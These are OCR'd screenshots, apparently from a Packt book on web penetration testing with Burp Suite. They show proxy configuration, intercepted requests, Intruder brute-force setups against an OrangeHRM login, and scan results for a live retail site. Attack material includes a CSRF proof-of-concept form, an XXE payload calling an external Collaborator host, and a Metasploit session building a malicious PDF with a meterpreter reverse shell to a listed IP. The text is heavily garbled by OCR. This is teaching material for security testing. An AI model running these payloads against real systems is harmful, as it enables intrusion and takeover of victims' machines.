‘® http://bigshot beerfwp-admin/comment php?action=spamcomment&p=630&c=10364&_wpnonce=84082(6a47

® fttp://bigshot beerfwp-admin/comment. php?action=approvecomment&p=630&c=103648_wpnonce=6363b58141

‘» fttp://bigshot beerfwp-admin/comment php?action=unapprovecomment&p=630&c=103638_wpnonce=620d7bc737
‘® fttp://bigshot beerfwp-admin/comment php?action=trashcomment&p=630&c=10361&_wpnonce=5baa2af390

‘» fttp://bigshot beerfwp-admin/comment php?action=trashcomment&p=6308c=103648_wpnonce=54082f6ad7

» fttp://bigshot beerfwp-admin/comment php?action=spamcomment&p=630&c=10363& wpnonce=8eg7c72a3a

‘® http://bigshot beerfwp-admin/comment php?action=trashcomment&p=6308¢=103628_wpnonce=9c6dectatl

v

1 Disk 26.7MB
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Diakup and VirtualPrivate Network settings

Choose Settings if you need to configure a proxy
Senver fo 8 comection,

Local Area Network (LAN) settings

LAN Settings do not aply to dik-up
connections. Choose Settings above for diakup.
settngs.

Add VP

Settngs
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Reguest | Response |

Raw | Params | Headers | Hex

GET Isession/replicator/1551073283533-04463764eg7p3ull5rs blvanadvqk3?go=https %3A%2F %2Fwww.mercadolibre.com.mx%2F HTTP/1.1
Host: auth.mercadolibre.com.mx

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: texthtm, application/xhtmI+xml,application/xml,q=0.9,mage/webp, /*;q=0.8
Accept-Language: en-US,enq=0.5
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[ connections | HTTP | sSL | sessions [ Misc |

(@ Scheduled Tasks
@} These settings let you specify tasks that Burp will perform automatically at defined times or intervals.

[ Adg | Time | Repeat | Task

Edit

Remove

(@ Burp Collaborator Server
£} Burp Collaborator is an external sevice that Burp can use to help discover many kinds of vulnerabilties. You can use he defaul
‘appropriate for you
® Use the default Collaborator server
© Don't use Burp Collaborator
© Use a private Collaborator server:

Server location

Polling location (optional)

([ Poll over unencrypted HTTP

Run health check

Logging
These settings control logging of HTTP requests and responses.

80O

All tools: [ Requests ] Responses.
Proxy: [ Requests ] Responses.
Scanner: [ Requests ] Responses.
Intruder: [ Requests ] Responses. N
Repeater. ] Requests [ Responses
sequencer: [ ] Requests [J Responses
Extender.  [J Requests [ Responses
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GET /httpgallery/authentication/default aspx?0.971199385900599 HTTP/1.1
Host: www httpwatch.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: texthtml,application/xhtml+xml application/xm|,q=0.9,mage/webp,"/*;q=0.8
Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.httpwatch.com/htipgallery/authentication/

Connection: close

Authorization: Basic cosa:cosaf|
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20ST /catalog/search HTTR/1.1
Host: example.org
Content-Type: application/json
Content-Length: 48
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Burp Suite
Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | CO2 |

| [intercept | HITP history | WebSockets history | Options |

4/ Request to hitp:/192.168.1.66:80

| Foward || Drop | [ Interceptison | | Action |

Jnl/eRanplel pRpIaml=s3CtestsizhackersiC/testes
16,168

Agent: Mozilla/5.0 (Windows
Accept: text/heml, application/xhtm:
Accepe-Language
[Accept-zncoaing
Connection: close

Upgrade-Insecure-Requests: 1
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7 N @

@ FoxyProxy

Use Enabled Proxies By Patterns and Priority

« Use proxy Use Burp Proxy for all URLs (ignore paﬂe@s)

Use proxy Default for all URLs (ignore patterns)
Turn Off FoxyProxy (Use Firefox Settings)

Log
What's My IP?
Options
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Proxy Type # Title or Description (optional)

HTTP v ‘ Use Burp Proxy

Color IP address, DNS name, server name #
Add whitelist pattern to match all URLs [on @] Port #

8080
Do not use for localhost and [on @] \
intranet/private IP addresses Username (optional)
Help (

Password (optional) @

Save & Add Another Save & Edit Pattemns
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I Burp Suite Professional v2.0.17beta - Clienthlame-VAPT-21022019 - licensed to Packt [single user license] - o

Burp Project Intruder Repeater Window Help

Useroptions | CodeDx | CSRF |  CSRF TokenTracker | CSufer | Deserialzer |  DeserialzationScanner | EsPReSSO |  xssvalidator

Dashboard | Target oy | mtruder Repeater | Seouencer |  Decoder | Comparer | Extencer | Praject options

Live capture | Manual nan | Analysis options |

(@ Manual Load

This function allows you to Ioad Sequencer with a sample of tokens that you have already obtained, and then perform the statistical analysis on the sample

Analyze now

Tokens Ioaded: 0
Shortest
Longest

Paste
Load
Clear
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(@ Payload Sets | startattack |

ou can define one or more payload sets. The number of payload sets depends on the attack type defined In the Pasitions tab. Various payload types are available for
each payload set, and each payload type can be customized in different ways

Payload set |2 Iv]  Payioad count 19
Payload type: | Custom iterator [*)  Requestcount 361
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Burp Project Intruder Repeater Window Help I
Projectoptions | _Useroptins | _ JSON Beautifier | __Deserilizaton Scanner | Gt | Loggers+ | SSLScamer | SOLPy | UploadScamner | -
&/ Requestto http://192.168.100.101:80 | —
(rowan | (oo | (Ciiwcomson] | ] %O
; Params | Headers | Hex
POST /arangehrm/lagin.php HTTP/1.1 s
Host: 192.168.100.101 Seon
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv.64.0) Gecko/20100101 Firefox/64.0
Accept: text/html application/xhtml+xml application/xml,q=0.9 */*,q=0.8
Accept-Language: en-US en;q=0.5 Send to Sequencer
Accept-Encoding: gzip, deflate Send to Comparer
Referer: http://192.168.100.101/orangehrm/lagin.php Send to Decoder
Content-Type: application/x-www-form-urlencoded Request in browser »
Content-Length: 60 Turn JSON active detection on
Connection: close Send request to DS - Manual testing
Cookie: acopendivids=swingset jotto phpbb2 redmine; acgroupswithpersist=nada, PHPSESSID=t64kad03p11fty  Send requestto DS - Explotation
_cyclone_session=BAh7B0kID3NIc3Npb25faWQGOgZFRKkiJWUA4ZTc3M2Q2NFhMzY 1MzMEMRIYWUSMjky! T
mX3Rva2VuBjsARKKIMUZOVGt3cnBmbkFHVKRsSmYvbjVGRHAOUTZIZ2g5UHhDNVAZZ2ZJOEJANUESBjsARgY ~ SOLPY Scan
48cdb4adfedd5ar84d344d8a2; remember_token=Stu37BrvdL CcPfSwaDTxdg Sendo Upload Scanner
Upgrade-Insecure-Requests: 1 Cusion Woriet
Engagement tooks >
actionD=chkAuthentication&ttUserName=test&btPassword=test TR T
Change body encoding
Copy URL
Copy as curl command
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@ Proxy Listeners

[QJ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your bro

[ Ada | [Running |interface | Invisible | Redirect | Certificate
e ] 127.0.0.1:8080 Per-host
ee—— & =555 Per-host L>

(] 192.168.56.1:90... ‘example.org
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[ Toget | posions | payioacs | opions |

@ Payload Positions

‘Configure the positions where payloads wil be inserted into the base request. The atiack type determines the way in which payloads are assigned to payload
postions - see help for fulldetais.

POST /orangehrm/login.php HTTP/1.1 A
Host: 192.168.100.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html application/xhtml+xml,application/xml,q=0.9 */*;q=0.8

Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.100.101/orangehrm/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

Connection: close

Cookie: acopendivids=swingset jotto phpbb2 redmine; acgroupswithpersist=nada;

PHPSESSID=t64ka%3p 1 1ftsjusI9hu2lite3;

_cyclone_session=BAh7B0kiD3NIc3Npb25faWQGOgZF RkkiJWU4ZTc3M2Q2NjFhMzY 1MzMEMRIYWUSMjkyMDIx
NWMxBjsAVEKIEF 9jc3JmX3Rva2VuBjsARKkkiMUZ0VGt3cnBmbkFHVKRsSmYvbjVGRHAOUTZIZ2g5UHhDNVAzZ2Z)
OEJhNUE9BjsARg%3D%3D--3861a5dd90b7fab48cdG4a3fedd5a784d344dBa2;
remember_token=Stu37BrvdLCcPfSwaD7x4g

Upgrade-Insecure-Requests: 1

acﬁunlD::hkAuthenncahun&MUserName!&MPasswurd:-

[©) B@@ Type a search term 0 matches Clear.
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Issue activity @F

Y Filter  High ~ Medium = Low ~ Info 5 Certain ~ Firm  Tentative P | search.
#  v[Task |Time | Action [Issue type [ Host
189 2 02:03:12 21 Feb 2019 Issue found i Frameable response (potential Clickjacking) https://auth mercadolibre c.
188 2 02:03:12 21 Feb 2019 Issue found @) Strict transport security not enforced https://auth mercadolibre.c.
187 2 02:01:04 21 Feb 2019 Issue found 1 Content type incorrectly stated http-//download.cdn mozilla.
186 2 02:00:56 21 Feb 2019 Issue found @) Unencrypted communications http-//download.cdn mozilla.
185 2 01:57:43 21 Feb 2019 Issue found @) Unencrypted communications http-//download mozilla.org
184 2 01:57:43 21 Feb 2019 Issue found i Cacheable HTTPS response https://aus5. mozilla.org
183 2 01:53:35 21 Feb 2019 Issue found @) Strict transport security not enforced https://bam nr-data net
182 2 01:53:35 21 Feb 2019 Issue found i Private IP addresses disclosed ‘https://www.mercadolibre.c.
181 2 01:52:55 21 Feb 2019 Issue found 1 SSL cookie without secure flag set ‘https://auth. mercadolibre.c.
180 2 01:52:55 21 Feb 2019 Issue found i Cookie without HitpOnly flag set https://auth mercadolibre.c.
179 2 01:52:55 21 Feb 2019 Issue found i Cookie scoped to parent domain https://auth mercadolibre.c.
178 2 01:52:55 21 Feb 2019 Issue found i Frameable response (potential Clickjacking) https://auth mercadolibre.c.
177 2 01:52:55 21 Feb 2019 Issue found @) Strict transport security not enforced https://auth mercadolibre.c.
176 2 01:52:54 21 Feb 2019 Issue found i Cookie scoped to parent domain https: /fwww.mercadolibre.c.
175 2 01:52:54 21 Feb 2019 Issue found i Cookie without HitpOnly flag set https: /fwww.mercadolibre.c.
174 2 01:52:54 21 Feb 2019 Issue found 1 SSL cookie without secure flag set ‘https://www.mercadolibre.c.
173 2 01:52:51 21 Feb 2019 Issue found i Baseb4-encoded data in parameter ‘https://www.mercadolibre.c.
172 2 01:52:48 21 Feb 2019 Issue found i Private IP addresses disclosed ‘https://www.mercadolibre.c.
m 2 01:52:48 21 Feb 2019 Issue found 1 Email addresses disclosed ‘https://www.mercadolibre.c.
ﬂ{ 2 01:52:48 21 Feb 2019 Issue found @ Password field with autocomplete enabled https://www.mercadolibre.c.
<

Advisory | Request | Response

0 Strict transport security not enforced

Issue Strict transport security not enforced
Severity: Low

Confidence: ~ Certain

Host https:/iwww.mercadolibre.com.mx
Path I

Issue description

‘The application fails to prevent users from connecting to it over unencrypted connections. An attacker able to modify a legitimate user's network traffic could bypass the
application's use of SSLITLS encryption, and use the application as a platform for attacks against ts users. This attack is performed by rewriting HTTPS links as HTTP,
50 that if a targeted user follows a link to the site from an HTTP page, their browser never attempts to use an encrypted connection. The sslstrip tool automates this
process

To explait this vulnerability, an attacker must be suitably positioned to intercept and modify the victins network traffic This scenario typically occurs when a client
‘communicates with the server over an insecure connection such as public Wi-Fi, or a corporate or home network that is shared with a compromised computer. Common
defenses such as switched networks are not sufficient to prevent this. An attacker situated in the user's ISP or the application's hosting infrastructure could also perform
this attack. Note that an advanced adversary could potentially target any connection made over the Intemet's core infrastructure.

Issue remediation

The applcation should nstruct web browsers to anly access the appiication using HTTPS. To do this. enable HTTP Stict Transport Secuity (HSTS) by adding a respanss &
v
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« Direct Connection

Burp on Network Node

Use Burp Suite o

@ Auto Switch| Use Burp Suite
HTTP: 127.00.1

:8080

System Pre

£ Options
© About SwitchySharp
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Burp Suite Professional v2.0.17beta - ClientName-WAPT-21022019 - licensed to Packt [single user license]
Burp Project Intruder Repeater Window Help

Proectoptions | Useroptions | CodeDx | CSRF |  CSRF TokenTracker | CSufer | Deserialzer |  Deserialization Scanner

| EsPresso

Dashboard [ rarger [ Pow [ ntuoer ] Repeater [ Sequencer [ Decoder [ Comparer [

Extender

Brnmn

Target | Positions | Payinads | options |

(@ Payload Sets

*ou can define one or more payload sets. The number of payload sets depends on the attack type defined in the Pasitions tab. Various payload types are avallable for each
payload set, and each payioad type can be customized in diferent ways

Payload set [ 1 Iv]  Payioad count 0
Payload type: [ Numbers ] Request count 0

(9 Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified farmat

Nurnber range

Type: ® sequential O Random

From
Ta
Step

How marny:

Number format

Base: @® pecimal O Hex

Min integer digits
MaxInteger digits
Min fraction digits

Max fraction digits:

N
| startattack | 7
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@ Target Scope

@ Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. The easiest way to configure scope is to browse to your target and use
the context menus in the site map to include or exclude URL paths.

(¥ Use advanced scope control

Include in scope

| Add || Enabled Protocol Host / IP range Port File

| Add | Enabled Protocol Host / IP range Port File
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Issues
> @ SQL injection (3]
@ Out-of-band resource load (HTTP)
» @ Cross-site scripting (reflected) [15]
@ Flash cross-domain policy
» @ Cleartext submission of password [2]
@ Extemal sevice interaction (DNS)
@ Extemnal sewvice interaction (HTTP)
» @) Password field with autocomplete enabled [2]
| ) Unencrypted commurications
Client-side HTTP parameter pollution (reflected)
Input retumed in response (reflected) [15]
Cross-domain Referer leakage [4]
Email addresses disclosed [3]

v
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Dashboard | Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User optians
] Y P o P ject apt pt

Tasks

CIEIETY (@ issueactivity

./

Y Fiter Running ~ Paused  Finished Y Fiter High  Medum  Low  Ino D [search
Add links. Add item itself, same . 1463 items added to site map & vltask [Time Action | Issue type
ot ) 0 [ 685 6 10:56:08 23 Fel 2019 Issue found i Path-relative stle sheet impart I
apturing: () o o 684 6 10:56:07 23 Feb 2019 Issue found i Input returned in response (reflected)
fesponses gueue 683 6 10:56:05 23 Feb 2019 Issue found i Input returned in response (reflected)
2. Live auait from Proey (al raffic) OGED| (e e 10:56:01 23 Feln 2019 Issue found i Input returmed n respanse (reficter)
681 6 10:55:58 23 Fel 2019 Issue found i Input retumed in response (reflected)
(IR GRS (R ses@ @ @ 60 6 10:55:56 23 Feb 2019 Issue found i Input returned in response (reflected)
canrng @) 15 requests (0 errors) 673 6 10:55:56 23 Feli 2019 Issue found i Input returmed n respanse (reficter)
view getaiis ||| [ [678 6 10:55:22 23 Feln 2019 Issue found i HTTP TRACE methad is enabled
677 6 10:55:22 23 Feln 2019 Issue found @ Fiash cross-domain palicy
6. Crawl and audit of 192.168.56.102 [OrENEIns 676 6 10:55:20 23 Feb 2019 Issue found @ Cleartext submission of password
Defaut configuration issves: @ o ) 675 6 10:55:20 23 Feln 2019 Issue found i Frameable response (potential Clickjacking)
DO 674 6 10:55:20 23 Feln 2019 Issue found | Cookie without HIEpOnly flag set
= 673 5 10:29:27 23 Feln 2019 Issue found i Cacheable HTTPS response e
Auditing. More than 10d remaini.. 5 jocations crawled View detais » | || g

Eventlog

Y Fiter

Info

./

D [search,

Message

_[[Aavisory | Request | Response | static analysis

means that this behavior is unavoidable, then defenses must be implemented within the client-side code
to prevent malicious data from introducing script code into the document. In many cases, the relevant
data can be validated on a whitelist basis, to allow only content that is known to be safe. In other cases, it
will be necessary to sanitize or encode the data. This can be a complex task, and depending on the
context that the data is to be inserted may need to involve a combination of JavaScript escaping, HTML
encoding. and URL encoding, in the appropriate sequence.

References.
» Cross-site scripting

Vulnerability classifications
' CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’
' CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS;

'» CWE-116: Improper Encoding or Escaping of Output
' CWE-150: Failure to Sanitize Special Element
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Request

Raw | Params | Headers | Hex

7dvwa/pzocess phpsession

182.1528.1.57
Agent: Mozilla/s.0 (Windows NT 6 527 26%; rvi66.0) Gecko/20100101
Accept: text/ntml,application/shtmléxml,application/xmlig=0.9,%/%;q=0.8
Accept-Language: en-US, en;g=0.5

coding: gzip, deflate
close|
Requests: 1

8auaccaslbeuchac

Simkal
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File Machine Help
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New | Settings Discard Show
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Application
Penetration Testing
with Burp Suite

Use Burp Suite and its features to inspect, detect, and exploit security
vulnerabilities in your web applications

,;.\' - g r‘r'%l"

Packt>

Carlos A. Lozano, Dhruv Shah www.packt.com
and Riyaz Ahemed Walikar
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POST /arangehrm/login.php HTTP/1.1
Host: 192.168.100.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html, application/xhtml+xml,application/xml;,g=0.9 */*;q=0.8

Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.100.101/orangehrm/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

Connection: close

Cookie: acopendivids=swingset jotto phpbb2 redmine; acgroupswithpersist=nada;

PHPSESSID=t64ka903p 1 1ftsjusI9hu2lte3;

_cyclone_session=BAh7B0kID3NIc3Npb25faWQGOgZF RkkiJWU4ZTc3M2Q2NjFhMzY 1MzMSMRIYWUSMjkyMDIXNWMxBj
SAVEKIEF9jc3JmX3Rva2VuBjsARKkiMUZOVGt3cnBmbkFHVKRsSmYvhjVGRHAOUTZIZ2g5UHhDNVAZzZ2ZjOEJhNUESB]jSAR
9%3D%3D--3861a5dd90b7fab48cdB4a3fe4d5a784d344d8a2; remember_token=Stu37BrvdL.CcPfSwaD7x4g
Upgrade-Insecure-Requests: 1

pctionD=chkAuthentication&bdUserName=admin&bdPassword=Apples
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w Response Modification

@ These settings are used to perform automatic modification of responses.

@ Unhide hidden form fields
¥ Prominently highlight unhidden fields
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Target Payloads | Options

(@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

i

Attack type: | Sniper D]

POST /orangehrm/login.php HTTP/1.1 3
Host: 192.168.100.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.100.101/orangehrm/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

Connection: close

Cookie: acopendivids=swingset jotto,phpbb2,redmine; acgroupswithpersist=nada;
PHPSESSID=t64ka%03p11ftsju5I9hu2ite3;
|_cyclone_session=BAh7B0kiD3NIc3Npb25faWQGOgZFRkkiJWU4ZTc3M2Q2NjFhMzY 1MzMSMIRIYWUSMjky
MDIXNWMxBjsAVEKIEF9jc3JmX3Rva2VuBjsARkkiMUZO0VGt3cnBmbkFHVKRs SmYvbjVGRHAOUTZIZ2g5UHh
DNVAzZ2ZjOEJhNUE9BjsARg%3D%3D--3861a5dd90b7fab48cd64a3fe4d5a784d344d8a2;
remember_token=Stu37BrvdLCcPfSwaD7x4g

Upgrade-Insecure-Requests: 1

il

aclionID=chkAmhenl>ca|iovthserName=Mnhs&mPasworﬁsﬁn'ns

@ liJ u u Type a search term 0 matches

2 payload positions Length: 924
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Issue activity @F
Y Filter  High ~ Medium = Low ~ Info Certain ~ Firm  Tentative yel Sqarh

#  v[Task |Time | Action [Issue type [ Host [ Path

19 3 16:13:33 16 Feb 2019 Issue found i Input retumed in response (reflected) http://192.168.1.66. Ixml/exan
18 3 16:13:33 16 Feb 2019 Issue found @ Extemal service interaction (HTTP) http://192.168.1.66 Ixml/exan
17 3 16:13:33 16 Feb 2019 Issue found @ Extemnal service interaction (DNS) http://192.168.1.66 Ixml/exan
16 3 16:13:33 16 Feb 2019 Evidence added: C. 1 XML external entity injection http://192.168.1.66 Ixml/exan
15 3 16:13:18 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66. Ixmlfexan
14 3 16:13:17 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66. Ixmlfexan
13 3 16:13:14 16 Feb 2019 Issue found @ Cross-site scripting (reflected) http://192.168.1.66. Ixmlfexan
12 3 16:13:14 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66. Ixmlfexan
" 3 16:13:12 16 Feb 2019 Issue found 1 XML entity expansion http://192.168.1.66 Ixml/exan
10 3 16:13:12 16 Feb 2019 Issue found XML extemal entity injection http://192.168.1.66 Ixml/exan
8 3 16:13:12 16 Feb 2019 Issue found @ Cross-site scripting (reflected) http://192.168.1.66. Ixmlfexan
7 3 16:13:12 16 Feb 2019 Issue found @ Cross-site scripting (reflected) http://192.168.1.66. Ixmlfexan
6 3 16:13:12 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66. Ixmlfexan
5 3 16:13:02 16 Feb 2019 Issue found i Email addresses disclosed http://192.168.1.66 Ixml/exan
4 3 16:13:02 16 Feb 2019 Issue found i Cross-domain Referer leakage http://192.168.1.66 Ixml/exan
3 3 16:13:02 16 Feb 2019 Issue found i Frameable response (potential Clickjacking) http://192.168.1.66. Ixmlfexan
2 3 16:13:01 16 Feb 2019 Issue found 1 Browser cross-site scripting filter disabled http://192.168.1.66 Ixml/exan
1 3 16:13:01 16 Feb 2019 Issue found @ Unencrypted communications http://192.168.1.66. 1
[EAS >

[[Advisory | Request | Response | Collaborator HTTP iteraction |

0 Out-of-band resource load (HTTP)

Issue:

Outofband resource load (HTTP)

Severity: High

Confidence: ~ Certain

Host hitp://192.168.1.66
Path Ixmllexamplet.php
Issue detail

Remediation detail

Itis possible to induce the application to retrieve the contents of an arbitrary extemal URL and retun those contents in its own response. The tag <!DOCTYPE test
[KEENTITY % j27pf SY STEM "http:/idgxknwucTfqeysa0w53Ipzt2wi2mqceb22psdh.burpcollaborator.net™>% j27pf; J><test>hacker<test> was injected into the XML
sent to the server in the xml parameter. This payload defines an XML parameter entity within a doctype that references a URL on an extemal domain

‘The application performed an HTTP request to the specified domain, indicating that the XML parser processed the injected parameter entity within the doctype definition
‘The response from that request was then included in the application's own response.

‘This attack makes use of the XML DOCTYPE tag to define a doctype that references a URL on an extemal domain. The XML parser that processes this input should be
‘configured to ignore the DOCTYPE tag, or to reject doctypes that reference an extemal URL. Altematively. it may be possible to use input validation to block input that
defines an unstable doctype.

1 Disk: 2.0MB [
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Penetration Testing
with Python
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Request | Response

Raw | Params | Headers | Hex

Toe HITE/L

/wp-Login.php?loggedout:
bigshot.bee
z-Agent: Moz

/5.0 (Windows NT 6.1; Wing4; x64; rv:66.0)
Accept: text/html,application/shtml+xnl,application/xml;
Accept-Language: en-US, en;g=0.5

coding: gzip, deflate
htep://bigshot.beer/wp-adnin
Connection: close
Cookie: wordpress_test_cookis
Upgrade-Insecure-Request:

Firefox/65.0

WP+Cookietcheck
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Add New Blog Entry

Hidden field [csrf-token] reporszoxmines

A View Blogs

Add blog
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I CSRF PoC generator

Request to: http:#bigshot beer

Raw | Params | Headers | Hex

POST wp-login.php?action=postpass HTTP/1.1
Host: bigshot beer

User-Agent: Mozilla’5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtmk+xml,application/xml;q=0.9,image/webp, /*;q=0.8
Accept-Language: en-US,enq=0.5

Accept-Encoding: gzip, deflate

Referer: http//bigshot beer/

Content-Type: application/x-www-form-urlencoded
Content.t ennth 22

5

@ (=)

0 matches

CSRF HTML:

<html>
<I- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState(", ", ‘F)</script>
<form action="http://bigshot beeriwp-login php?action=postpass" method="POST">
<input type="hidden" name="post&#95;password" value="sdfsf" />

<input type="hidden" name="Submit" value="Entrar" />
<input type="submit" value="Submit request" />
<fform>
<Iody>
</htmi>

v

@ L] (] [rvpe asearchtem
Regenerate

0 matches

Testin browser | | Capy HTML | | Close
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Issue Definitions

This listing contains the definitions of all issues that can be detected by Burp Scanner.

Name Typical severity | Type index o [&]
0S command injection
SQL injection High 0x00100200 D ription
SQL injection (second order) High 0x00100210
ASP.NET tracing enabled High 0x00100280 ‘Operating system command injection vulnerabilities arise when an
File path traversal High 0Xx00100300 application incorporates user-controllable data into a command that is
XML external entity injection High 0x00100400 processed by a shell command interpreter. If the user data is not strictly
LDAP injection High 0x001 validated, an attacker can use shell metacharacters to modify the
e d command that is executed, and inject arbitrary further commands that
pEatiiecion) Hiol 0x00100600 will be executed by the server.
XML injection Medium 0x00100700
ASP.NET debugging enabled Medium 0x00100800 ‘0S command injection vulnerabilities are usually very serious and may
HTTP PUT method is enabled High 0x00100900 lead to compromise of the server hosting the application, or of the
Out-of-band resource load (HTTP) High 0x00100300 application's own data and functionality. It may also be possible to use
§ - N the server as a platform for attacks against other systems. The exact
File lati High 0x00100b00
PHP"”;"?"T‘ e Hp 0X00100¢00 || potential for exploitation depends upon the security context in which the
© N ) N o @‘ command is executed, and the privileges that this context has regarding
Server-side JavaScript code injection High 0x00100d00 sensitive resources on the server.
Perl code injection High 0x00100€00
Ruby code injection High 0x00100f00 Remediation
Python code injection High 0x00100f10
Expression Language injection High 0X00100120 If possible, applications should avoid incorporating user-controliable data
i . into operating system commands. In almost every situation, there are
2::;_‘19 ;::e hk‘:e:::onm" :Un' zx: g:m safer alternative methods of performing server-level tasks, which cannot
Pl ec '9 be manipulated to perform addiliqyl ‘commands than the one intended.
S8l injection High 0x00101100
Cross-site scripting (stored) High 0x00200100 If it is considered unavoidable to incorporate user-supplied data into
Web cache poisoning High 0X00200180 operating system commands, the following two layers of defense should
HTTP response header injection High 0x00200200 be used to prevent aftacks:
Cross-site scripting (reflected) High 0x00200300
Client-side template injection High 0X00200308 ‘# The user data should be strictly validated. Ideally, a whitelist of
| Crocs.site <erinting (NOM_bacad). e TRt specific accepted values should be used. Otherwise, only short rv






OEBPS/Images/b46e2e2e-84dd-482d-8093-532232ed726d.png
[ stemsp [ scope [ sue setntons |
Logging of out-of-scope Proxy traffic is disabled

Fier: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders.
Contents

http//192.168.100.101  GET Ianimatedcollapse js 304 360
Jauery.min hitp//192.168.100.101  GET fimages/Knob_Add.png 304 337
http:/idetectportal firefox.com http/1192.168.100.101  GET fimages/Knob_Attention. 304 337

> [ hitp:/luploadscannerextension local http//192.168.100.101  GET fimages/mandiant png 304 336
http/1192.168.100.101  GET fimages/owasp.png 304 338

http/192.168.100.101  GET findex.css 304 3859

http//192.168.100.101  GET fiquery.minjs 304 360
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€ Create Virtual Machine

Hard disk

1F you wish you can add a virtual hard isk to the new machine.
You can either create a new hard disk fle or select one from
the st or from another location using the folder icon.

1F you need a more complex storage set-up you can sk this
step and make the changes to the machine settings once the
machine s created.

“The recommended size of the hard disk s 10.00 GB.

O Donot add a virtual hard disk

O greate a virtual hard disk now

@ Use an existing virtual hard disk fle

[0V Bk e ok b, 0 =] 2
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root@kall: ~/pdf_malicious

File Edit

http://metasploit.pro

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

metasploit v4.11.7-

1518 exploits - 877 auxiliary - 259 post

437 payloads - 38 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]

b it

msf > use exploit/windows/fileformat/adobe_utilprintf

msf exploit(adobe utilprintf) > set FILENAME malicious.pdf

FILEMAME == malicious.pdf

nsf exploit(adobe utilprintf) = set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

nsf exploit(adobe_utilprintf) > set LHOST 52.73.185.57

LHOST == 52.73.105.57

nsf exploit({adobe utilprintf) > set LPORT 4455

LPORT == 4455

nsf exploit(adobe utilprintf) > [
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B! Schedule task - o

Enter the details of when the task should run. The task can be scheduled to run
once at a specific time, or to repeat at a defined interval.

s @ Ho
o (1) ey o

Repeat every: 30 Minutes i (Leave blank to run once only)
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@ Local Area Network (LAN) Settings

Automatic coniguration

Automatic confguration may overrde manua settings. To ensure
the use of manua settings, disable automatc configuratin.

[automatically detect settings
[use sutomati coniguraon srpt

Proey server

Use @ proxy server for your LAN (These settings will ot apply to
dia-up or VPN connections).

Addrgss: [127.0.0.1

o 5]

[Bypass proxy server for local addresses
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Burp Suite Professional v2.0.17beta - Clienthame-VAPT-21022010 - licensed o Packt [single user license]

Burp Project Intruder Repeater Window Help

Dashboard

Target | Prov [ ntruger | Repeater | Sequencer | Decoder | comparer | Extenger | Project options | User aptions

Extensions | Bapp Store | APIs | options |

BApp Store

The BApp Stare contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilties

Name Installed | Rating Popularity | Lastupdated | Detail
‘Aftack Surface Detector WO ——— 1 10 0ct 2018

AuthMatrix YeYeveveyy ——— 02Fen 2018

Authz Yeveveveyy —— 01.Jul 2014

Auto Repeater Yevevevrvs —1 04 Apr 2018

Autarize Yeveveveyy ——1 28Nov2018

AWS Security Checks Yeveveveyr —1 18.Jan 2018 Pro extension
Backslash Powered Scanner Tededededy ——1 10Aug 2018  Proextension
Batch Scan Report Genera Yeverveves — 03 Oct 2017 Pro extension
Blazer Yeveveveyr —4 01Feb 2017

Bradamsa Yeveveveis — 02.Jul 2014

Brida, Burp to Frida bridge Yeveievets —1 04 Oct 2018

Browser Repeater pAgioie —+ 01Jul 2014

Buby Yevevevevy -+ 14 Feh 2017

Burp Chat Yevevevyvr — 23 Jan 2017

Burp CSJ Yevevevevs — 23 Mar 2015

BurpelFish Yevevevevy — 21 Nav 2018

Burp-hash pAgAen — 28Aug 2015 Pro extension
BurpSmartBuster Yevevevrir — 22 Jan 2018

Bypass WAF Vevevevets ——+ 29 Mar 2017

Carbanator Yevevevev —t 23Jan 2017 Pro extension
Cloud Storage Tester Yeretetrys —+ 05 Oct 2017 Pro extension
CMS Scanner Vrieveieds ————f 030ct2017  Pro extension
co2 Wrevees ——  200u12017

Codle Dx Yevevevevy — 06Jun 2018 Pro extension
Callaborator Everywhere Tededededy —— 21May2018  Proextension
Command Injection Attacker Yevevedeyr———+ 27.Jun2018

Commentator Yevrvevevy — 16 Jul 2018

